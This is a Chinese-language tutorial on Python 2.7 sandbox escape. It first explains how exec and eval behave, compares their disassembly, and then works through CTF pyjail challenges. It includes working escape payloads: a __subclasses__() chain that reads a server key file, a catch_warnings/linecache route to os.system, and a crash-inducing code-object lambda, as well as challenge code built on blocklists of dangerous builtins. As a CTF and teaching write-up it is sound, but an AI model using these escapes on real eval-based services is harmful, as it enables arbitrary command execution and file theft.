Python 沙箱逃逸是通過 eval 的安全問題來實現的一種 PWN 方法。 ...
[TOC]
(基於 Python 2.7)
在解決 Python 沙箱逃逸這個問題之前,需要先瞭解 Python 中的一些語法細節。如果已經瞭解了eval
函數的使用方法,就可以跳過第一和第二部分,直接看 3x00 吧。
0x00 表達式的執行
用執行某個表達式的內容,可以使用 exec
或 eval
來進行。
0x01 exec
https://docs.python.org/2.0/ref/exec.html
exec_stmt: "exec" expression ["in" expression ["," expression]]
其中,["in" expression ["," expression]]
是可選表達式。
1,對代碼/字元串進行操作
exec "x = 1+1"
print x
#result:
#2
exec "x = 'a' + '42'"
print x
#result:
#a42
也可以執行多行代碼,用三個引號括起來就可以:
a = 0
exec"""for _ in range(input()):
a += 1
"""
print a
2,文件操作
execfile
一方面可以使用 execfile
,它的作用是執行這個文件的內容
#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')
pytest.py
的輸出結果為:
Gou Li Guo Jia Sheng Si Yi
execfile
執行了pytest.txt
里的內容,註意是執行而非讀取,如果pytest.txt
中的內容是'Gou Li Guo Jia Sheng Si Yi'
,那麼將不會得到任何輸出。
當然,執行一個 .py 文件也是可以的。而執行 .txt 文件的要求是,txt 文件中的內容是 ASCII 。最好還是執行一個 .py 文件而非 txt 文件。
這種執行其實是將 execfile
所指向的文件的內容直接 copy 過去。
例如:
#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里說豐年,聽取蛤聲一片'
#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a
此時,pytest 的結果為:
稻花香里說豐年,聽取蛤聲一片
2
其實就是完全地執行一遍文件里的內容……而不是當做函數調用來執行。
直接使用 exec 進行操作
直接使用 exec ,也是執行文件的內容,但是可以使用 in
表達式來使用 Global 變數域。
#C:\Users\Think\Desktop\test1.txt
print poetry
#pytest.py
result={'poetry':'苟利國家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result
3,tuple 的使用
b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b
輸出結果為
111
exec 的 globals / locals 參數的使用方法
exec
支持兩個可選參數,不支持關鍵字指定參數。
Python 採用的是靜態作用域(詞法作用域)規則,類似於 C++,在該函數內該變數可用,在函數外不可用。
在 Pascal 語言中,採用的是動態作用域,也就是說,一旦函數被執行,該變數就會存在。例如,在函數 g
當中套了個函數 f
,程式執行到f
時,會在f
中尋找表達式中的變數,如果找不到,就往外層找,此時g
中若存在這個變數,則使用該變數,若不存在,繼續向外逐層查找。
需要註意的是, exec
是語法聲明(statement),而非函數(function),而execfile
是函數。
原因如下:
在 exec
中直接列印外部變數:
b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#結果為 456
在函數中列印外部變數:
b = 42
tup1 = (123,456,111)
def pr():
print tup[1]
pr()
#結果:
#NameError: global name 'tup' is not defined
LEGB 規則
參照:https://segmentfault.com/a/1190000000640834
exec 中的 globals 參數
exec_stmt: "exec" expression ["in" expression ["," expression]]
globals
是dict
對象,它指定了 exec
中需要的全局變數。
globlas
等價於globals()
locals
等價於globals
參數的值
1,globals
#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#結果:
#43 42
在段代碼中,exec
中的值是locals
,它來源於指定的k
,即globals
.
並且,globals 取於全局變數,作用於全局變數。
2,locals
g = {'b':100}
exec("""age = b + a
print age
""",g,{'a':1})
#結果:
#101
比較:
g = {'b':100,'a':2}
exec("""age = b + a
print age
""",g,{'a':1})
#結果:
#101
可以看到,相對於exec
來說,其內部具有三個變數,即 age,b,a
在制定之後,b 來自 g (global),而 a 來自自定的 local 變數。
由此可見,local 取於局部變數,作用於局部變數。
為了驗證這一結論,對稍加修改:
g = {'b':100}
exec("""age = b + a
print age
""",g,{'a':1})
print g['a']
#結果:
#101
# print g['a']
#KeyError: 'a'
可以看到,a
並沒有作用於字典 g
(全局的),而上面第一小節提到的globals
中,鍵值a
已經填入了全局的字典g
.
exec 使用結論
可以做出以下結論:
我們將exec
之後包括的內容分為三個部分:p1、p2、p3
exec ("""p1""",p2,p3)
第一部分
p1
,其中的內容是,就是要執行的內容;- 第二部分
p2
,其中的內容來自全局變數,會在上一個變數作用域當中尋找對應的值,並將其傳遞給表達式,如果不存在p3
,p1
中的結果會傳回全局變數; 第三部分
p3
,其中的內容是局部的,將用戶在其中自設的局部值傳遞給p1
,並且在局部中生效,如果在外部引用此處用到的值將會報錯。
exec 反彙編
#use `exec` source code
import dis
def exec_diss():
exec "x=3"
dis.dis(exec_diss)
# use `exec` disassembly
4 0 LOAD_CONST 1 ('x=3')
3 LOAD_CONST 0 (None)
6 DUP_TOP
7 EXEC_STMT
8 LOAD_CONST 0 (None)
11 RETURN_VALUE
#not use `exec` scource code
import dis
def exec_diss():
x=3
dis.dis(exec_diss)
#not use exec disassembly
3 0 LOAD_CONST 1 (3)
3 STORE_FAST 0 (x)
6 LOAD_CONST 0 (None)
9 RETURN_VALUE
指令解釋在這裡:https://docs.python.org/2/library/dis.html#python-bytecode-instructions
簡要說明下,TOS
是top-of-stack
,就是棧頂。
LOAD_CONST
是入棧,RETURN_VALUE
是還原esp
。
其中兩者的不同之處在於:
# use `exec` disassembly
6 DUP_TOP #複製棧頂指針
7 EXEC_STMT #執行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`
也就是說,def
函數是將變數入棧,然後調用時就出棧返回;而使用了exec
之後,除了正常的入棧流程外,程式還會將棧頂指針複製一遍,然後開始執行exec
的內容。
0x02 eval
eval
用以動態執行其後的代碼,並返回執行後得到的值。
eval(expression[, globals[, locals]])
eval
也有兩個可選參數,即 globals
、locals
使用如下:
print eval("1+1")
#result:
#2
eval 的 globals / locals 參數的使用方法
1,globals
類似於 exec
:
g = {'a':1}
print eval("a+1",g)
#result:
#2
2,locals
k = {'b':42}
print eval ("b+c",k,{'c':2})
#result:
#44
eval反彙編
#use_eval
import dis
def eval_dis():
eval ("x = 3")
dis.dis(eval_dis)
#use_eval_disassembly
3 0 LOAD_GLOBAL 0 (eval)
3 LOAD_CONST 1 ('x = 3')
6 CALL_FUNCTION 1
9 POP_TOP
10 LOAD_CONST 0 (None)
13 RETURN_VALUE
比較:
#not_use_eval
import dis
def no_eval_dis():
x = 3
dis.dis(no_eval_dis)
#not_use_eval_disassembly
3 0 LOAD_CONST 1 (3)
3 STORE_FAST 0 (x)
6 LOAD_CONST 0 (None)
9 RETURN_VALUE
同樣是建棧之後執行。
1x00 exec 和 eval 的區別
exec
無返回值:
exec ("print 1+1")
#result:
#2
如果改成
print exec("1+1")
這就會因為沒有返回值(不存在該變數而報錯)。
而 eval
是有返回值的:
eval ("print 1+1")
#result:
#SyntaxError: invalid syntax
如果想要列印,則必須在 eval
之前使用print
。
但是奇怪的是,為什麼 exec
反彙編出的內容當中,也會有一個RETURN_VALUE
呢?
1x01確定RETURN_VALUE
來源
為了確定這個RETURN_VALUE
究竟是受到哪一部分的影響,可以改動一下之前的代碼,
import dis
def exec_diss():
exec "x=3"
return 0
dis.dis(exec_diss)
3 0 LOAD_CONST 1 ('x=3')
3 LOAD_CONST 0 (None)
6 DUP_TOP
7 EXEC_STMT
4 8 LOAD_CONST 2 (0)
11 RETURN_VALUE
對比eval
的:
import dis
def eval_diss():
eval ("3")
return 0
dis.dis(eval_diss)
3 0 LOAD_GLOBAL 0 (eval)
3 LOAD_CONST 1 ('3')
6 CALL_FUNCTION 1
9 POP_TOP
4 10 LOAD_CONST 2 (0)
13 RETURN_VALUE
對比 eval
和exec
之後,會發現exec
使用的是DUP_TOP()
,而eval
使用的是POP_TOP
,前者是複製 TOS
,後者是推出TOS
。
在 C++ 反彙編當中,會發現對函數調用的最後會有 POP ebp
,這是函數執行完之後的特征。在 Python 中,eval
就是一種函數,exec
是表達式。這也解釋了之前說的eval
有返回值而exec
無返回值的原因。
而最後的 RETURN_VALUE
,很明顯可以看出並非eval
或exec
的影響,而是 Python 中每一個程式執行完之後的正常返回(如同 C++ 中的 return 0
)。
可以寫段不包含這兩者的代碼來驗證:
import dis
def no():
a = 1+1
dis.dis(no)
3 0 LOAD_CONST 2 (2)
3 STORE_FAST 0 (a)
6 LOAD_CONST 0 (None)
9 RETURN_VALUE
所以,RETURN_VALUE
是每個程式正常運行時就有的。
2x00 eval 的危險性
2x01 先期知識
在 Python 當中, import
可以將一個 Python 內置模塊導入,__import__
可以接受字元串作為參數。
調用 os.system()
,就可以執行系統命令。在 Windows下,可以這麼寫:
>>> __import__('os').system('dir')
或者:
>>> import os
>>> os.system('dir')
也可以達到這個目的。
這兩種方法會使得系統執行dir
,即文件列出命令,列出文件後,讀取其中某個文件的內容,可以:
with open('example.txt') as f:
s = f.read().replace('\n', '')
print s
如果有一個功能,設計為執行用戶所輸入的內容,如
print eval("input()")
此時用戶輸入1+1
,那麼會得到返回值 2
。若前述的
os.system('dir')
則會直接列出用戶目錄。
但是,從之前學過的可以看到,如果為eval
指定一個空的全局變數,那麼eval
就無法從外部得到 os.system
模塊,這會導致報錯。
然而,可以自己導入這個模塊嘛。
__import__('os').system('dir')
這樣就可以繼續顯示文件了。
如果要避免這一招,可以限定使用指定的內建函數__builtins__
,這將會使得在第一個表達式當中只能採用該模塊中的內建函數名稱才是合法的,包括:
>>> dir('__builtins__')
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
這樣,就可以寫成:
eval("input()",{'__builtins__':{}})
就可以限制其只能使用內置的函數。
同時也可以將內置模塊置為None
,如:
env = {}
env["locals"] = None
env["globals"] = None
eval("input()", env)
但是這種情況下__builtions__
對__buitin__
的引用依然有效。
s = """
(lambda fc=(
lambda n: [
c for c in
().__class__.__bases__[0].__subclasses__()
if c.__name__ == n
][0]
):
fc("function")(
fc("code")(
0,0,0,0,"KABOOM",(),(),(),"","",0,""
),{}
)()
)()
"""
eval(s, {'__builtins__':{}})
(來自:https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
為了創建一個object
,要通過
().__class__.__bases__[0]
bases
類當中的第一個 元素就是元組(tuple),而tuple
就是一個object
.
lambda
這一段主要是構造出一個函數,這個函數要跑完 subclasses
來尋找一個object
。
這是一種情形。總的來說,就是跑一個通過object
假的bytecodes
.
從上述情況來看,eval
是不安全的。
3x00 Python 沙箱逃逸
3x01 第一題
這是一道 CTF 題目,只給了這個:
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
# Read user input until the first whitespace character
inp = findall('\S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e
make_secure
這個模塊很好理解,看看下邊的:
from re import findall
這是 Python 正則表達式的模塊。而re.findall
可以尋找指定的字元串。
把這一部分單獨抽離出來嘗試一下:
from re import findall
inp = findall('\S+',raw_input())[0]
a = None
exec 'a = ' +inp
print 'Return Value:',a
運行後輸入 1+1
,返回結果為2
.
構造
之前已經說過可以利用
().__class__.__bases__[0].__subclasses__()
在該題中,主辦方搞了個在伺服器上的文件,裡邊有 key
,而[40]
是文件,直接就可以了。
().__class__.__bases__[0].__subclasses__()[40]("./key").read()
第二題
#!/usr/bin/env python
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')
4x00 blue-lotus MISC - pyjail Writeup
給了這個:
#!/usr/bin/env python
# coding: utf-8
def del_unsafe():
UNSAFE_BUILTINS = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input'] ## block objet?
for func in UNSAFE_BUILTINS:
del __builtins__.__dict__[func]
from re import findall
del_unsafe()
print 'Give me your command!'
while True:
try:
inp = findall('\S+', raw_input())[0]
print "inp=", inp
a = None
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e
比較一下和上邊的第一題有什麼不同,答案是……並沒有什麼不同……
掃了一下埠,發現貌似根本沒開……可能只是練習 =。 =